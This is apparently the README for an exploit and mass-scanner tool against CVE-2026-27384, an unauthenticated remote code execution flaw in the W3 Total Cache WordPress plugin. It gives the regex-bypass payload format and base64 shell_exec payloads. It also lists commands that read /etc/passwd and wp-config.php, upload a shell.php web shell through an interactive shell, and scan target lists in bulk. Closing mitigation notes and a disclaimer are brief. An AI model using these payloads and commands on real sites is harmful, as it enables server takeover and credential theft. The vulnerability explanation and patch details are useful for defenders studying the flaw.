
Автоматизированный сканер и эксплойт для CVE-2026-27384, неаутентифицированное RCE в W3 Total Cache через инъекцию mfunc/eval(). Возможности: автообнаружение, 48 вариантов полезной нагрузки, интерактивная оболочка и пакетное сканирование.
Плагин: W3 Total Cache Слаг плагина:
w3-total-cacheID CVE: CVE-2026-27384 Оценка CVSS: 9.8 (Критический) Вектор CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HТип уязвимости: Неавторизованное произвольное выполнение кода (внедрение кода черезeval()) Затронутые версии: <= 2.9.1 Исправленная версия: 2.9.2 Дата публикации: 24 февраля 2026 г. Исследователь: CODE WHITE GmbH
Функция Dynamic Fragment Caching плагина W3 Total Cache (система mfunc/mclude)
выполняет PHP-код, встроенный в HTML-комментарии, с помощью eval().
Токен , предназначенный для защиты этой функции,
может быть обойдён из-за комбинации нескольких ошибок в коде.
W3TC_DYNAMIC_SECURITYРезультат: Без аутентификации, просто отправив комментарий на WordPress, можно выполнить произвольный PHP-код на сервере.
| Поле | Значение |
|---|---|
| ID CVE | CVE-2026-27384 |
| CVSS | 9.8 Critical |
| Тип | Внедрение кода → RCE (CWE-94) |
| Затронутая версия | <= 2.9.1 |
| Исправленная версия | 2.9.2 |
| Аутентификация | Не требуется |
| Взаимодействие пользователя | Не требуется |
| Предусловие | W3TC_DYNAMIC_SECURITY должен содержать метасимволы regex |
Функция Dynamic Fragment Caching W3TC позволяет разработчикам встраивать PHP-код в HTML через специальные теги-комментарии:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
W3TC обрабатывает эти теги при обслуживании страницы из кеша:
встроенный PHP выполняется через eval(), результат подставляется вместо блока комментария.
preg_quote() (PgCache_ContentGrabber.php)// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor
// preg_quote() YOK → token regex pattern gibi davranır
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
Если токен равен '.', то regex становится <!--\s*mfunc\s*.(.*)--> →
любой одиночный символ подставляется вместо токена.
\s* и \s+| Функция | Шаблон | Поведение |
|---|---|---|
_parse_dynamic() — выполняет | mfunc\s*TOKEN | Принимает 0 пробелов ✅ |
strip_dynamic_fragment_tags_from_string() — очищает | mfunc\s+TOKEN | Требуется минимум 1 пробел ❌ |
Пейлоад атакующего: <!-- mfuncA php_code --><!-- /mfuncA -->
↑
Между mfunc и токеном ПРОБЕЛА НЕТ
strip функция: \s+ → не совпадает → пейлоад ОСТАЁТСЯ
регулярка выполнения: \s* → совпадает → eval() ВЫПОЛНЯЕТСЯ
_has_dynamic())// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (метасимвол regex — любой символ)
│
▼
Атакующий отправляет комментарий:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
Шаблон: mfunc\s+[^\s]+ → требуется \s+, пробела нет → ОБХОД ✅
│
▼
Комментарий сохраняется в базе данных, страница кешируется
│
▼
Второй HTTP-запрос → W3TC обслуживает из кеша
_has_dynamic() → mfunc\s*. → 'A' совпадает → возвращает true
│
▼
_parse_dynamic() → preg_replace_callback
Шаблон: mfunc\s*. → 'A' совпадает
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Unauthenticated RCE ✓
Без аутентификации можно выполнить произвольный PHP-код на сервере с правами веб-сервера:
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| Режим | Описание |
|---|---|
auto | Сканировать сайт → найти страницу комментариев → эксплуатировать (по умолчанию) |
exploit | Прямая эксплуатация — с URL для отправки |
shell | Интерактивная оболочка |
detect | Только обнаружение W3TC |
python w3tc_rce.py https://hedef.com
Сканер выполняет:
# команда id
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd id
# читать /etc/passwd
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /etc/passwd"
# читать wp-config.php
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# ID записи вручную
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/merhaba-dunya/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://hedef.com \
--mode shell \
--post-url https://hedef.com/?p=1
При открытии оболочки автоматически выполняются whoami, hostname, pwd, uname -a:
=================================================================
CVE-2026-27384 — W3TC mfunc Interactive Shell
URL : https://hedef.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.hedef.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
Команды: exit | upload <local> <remote> | download <remote>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC установлен!
Версия : 2.9.1
Кеш : True
[!] Версия 2.9.1 УЯЗВИМА (<= 2.9.1)!
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v
| Параметр | Сокращение | Описание | По умолчанию |
|---|---|---|---|
url | — | Целевой URL | — |
--list | -l | Файл со списком целей | — |
--mode | — | Режим работы | auto |
--cmd | — | Выполняемая команда | id |
--post-url | — | URL страницы с комментариями | — |
--post-id | — | ID записи WordPress | — |
--max-pages | — | Максимум страниц для паука | 50 |
--threads | -t | Количество потоков | 10 |
--output | -o | Файл вывода | w3tc_results.txt |
--proxy | — | URL прокси | — |
--no-color | — | Вывод без цвета | False |
--verbose | -v | Подробный вывод | False |
Стандартный тег (перехватывается strip):
<!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
↑
есть пробел → \s+ совпадает → strip удаляет
Тег для обхода (обходит strip, eval() выполняется):
<!-- mfuncA php_code --><!-- /mfuncA -->
↑
пробела НЕТ → \s+ не совпадает → strip ПРОПУСКАЕТ
\s* совпадает → eval() ВЫПОЛНЯЕТСЯ
PHP-код кодируется в base64 для предотвращения проблем с HTML-кодированием:
# Команда: id
b64_cmd = base64.b64encode(b"id").decode() # → "aWQ="
php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));
payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"
| Группа | Функция | Символ обхода | Кодирование |
|---|---|---|---|
| b64_shell_exec | shell_exec | A, B, X, 1 | Base64 |
| b64_system | system | A, B, X, 1 | Base64 |
| b64_passthru | passthru | A, B, X, 1 | Base64 |
| b64_exec | exec | A, B, X, 1 | Base64 |
| b64_popen | popen | A, B, X, 1 | Base64 |
| raw_* | Все функции | A, B, X, 1 | Сырой |
1. Обнаружение W3TC
└─ readme.txt, header, body, каталог плагина
2. Обнаружение системы комментариев
└─ HTML-форма, REST API, ID записи
3. Внедрение пейлоада (48 вариантов)
├─ REST API: POST /wp-json/wp/v2/comments
└─ HTML-форма: POST /wp-comments-post.php
4. Триггер кеша
├─ 1-й запрос → cache miss → рендер страницы → кешируется
└─ 2-й запрос → cache hit → _parse_dynamic() → eval()
5. Извлечение вывода
└─ uid=, whoami, /path/, passwd, wp-config...
=================================================================
CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================
[*] Цель: https://hedef.com
Crawling: [████████████████████] 100% (50/50) | 8.3/s
[+] Страница комментариев: https://hedef.com/?p=1 (post_id=1)
[1] Обнаружение W3TC...
[+] W3TC найден! Версия: 2.9.1
[2] Обнаружение системы комментариев...
[+] Post ID: 1 | Form: True | REST: True
[3] Внедрение пейлоада (id)...
[i] 48 вариантов пейлоада готово
[4] Триггер кеша...
[★] RCE УСПЕШНО!
=========================================================
URL : https://hedef.com/?p=1
Payload : b64_shell_exec (bypass='A')
Команда : id
Вывод : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================
[+] Результаты сохранены → w3tc_results.txt
[?] Открыть оболочку? (y/n):
Scanning: [████████████████████] 100% (100/100) | 4.2/s
[★] Найдено 7 уязвимостей!
[+] Результаты сохранены → w3tc_results.txt
cve-2026-27384/
├── w3tc_rce.py # Основной сканер
├── requirements.txt # Зависимости
└── README.md # Этот файл
| Мера | Описание |
|---|---|
| Обновление плагина | Обновиться до W3 Total Cache 2.9.2+ |
| Отключение mfunc | Если W3TC_DYNAMIC_SECURITY не определён, функция не работает |
| Надёжный токен | Токен должен содержать только буквенно-цифровые символы ([a-zA-Z0-9_]+) |
Пример безопасного токена (wp-config.php):
// ❌ Опасно — метасимвол regex
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');
// ✅ Безопасно — буквенно-цифровой
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');
Исправление в версии 2.9.2 (_parse_dynamic()):
// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' ); // ✅ добавлен preg_quote
$buffer = preg_replace_callback(
'~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis', // ✅ \s+ (как минимум 1 пробел)
...
);
Этот инструмент и PoC предназначены только для использования на авторизованных системах, в образовательных целях и в рамках тестирования на проникновение. Использование на системах без разрешения является нарушением ст. 243–245 Уголовного кодекса Турции и международного законодательства о киберпреступности. Разработчик не несёт никакой юридической ответственности за неправомерное использование инструмента.
MIT License — Только для образовательных и исследовательских целей.